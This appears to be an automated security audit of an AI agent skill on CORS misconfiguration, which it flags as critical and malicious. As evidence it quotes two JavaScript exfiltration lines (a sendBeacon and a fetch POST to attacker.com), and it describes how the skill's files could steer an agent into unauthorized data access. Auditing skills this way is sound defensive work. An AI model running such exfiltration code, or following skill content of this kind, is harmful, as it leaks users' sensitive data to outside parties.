cors-cross-origin-misconfiguration
Fail
Audited by Gen Agent Trust Hub on Nov 9, 2026
Risk Level: CRITICALDATA_EXFILTRATIONINDIRECT_PROMPT_INJECTIONMETADATA_POISONING
Full Analysis
- [DATA_EXFILTRATION]: The skill provides functional JavaScript code templates for exfiltrating sensitive API and user information to external domains. \n
- Evidence in SKILL.md:
navigator.sendBeacon('https://attacker.com/exfil', JSON.stringify(data));\n - Evidence in SCENARIOS.md:
fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify(data) });\n - Detection: Automated scanners have confirmed that the URLs
https://attacker.com/exfilandhttps://attacker.com/collectare malicious (phishing). \n- [INDIRECT_PROMPT_INJECTION]: This skill provides instructions and exploitation payloads that can influence an agent to perform unauthorized data access and exfiltration. \n - Ingestion points:
SKILL.mdandSCENARIOS.md. \n - Boundary markers: None. \n
- Capability inventory: The skill assumes capabilities for network requests and browser-based data retrieval. \n
- Sanitization: None. \n- [METADATA_POISONING]: Both
SKILL.mdandSCENARIOS.mdhave been flagged with a malicious file reputation (FileRepMalware) by automated scanners, indicating the content is associated with dangerous signatures or intent.
Recommendations
- CRITICAL: 2 file(s) identified as malware by FileRep - DO NOT USE
- AI detected serious security threats
- Contains 2 malicious URL(s) - DO NOT USE
Audit Metadata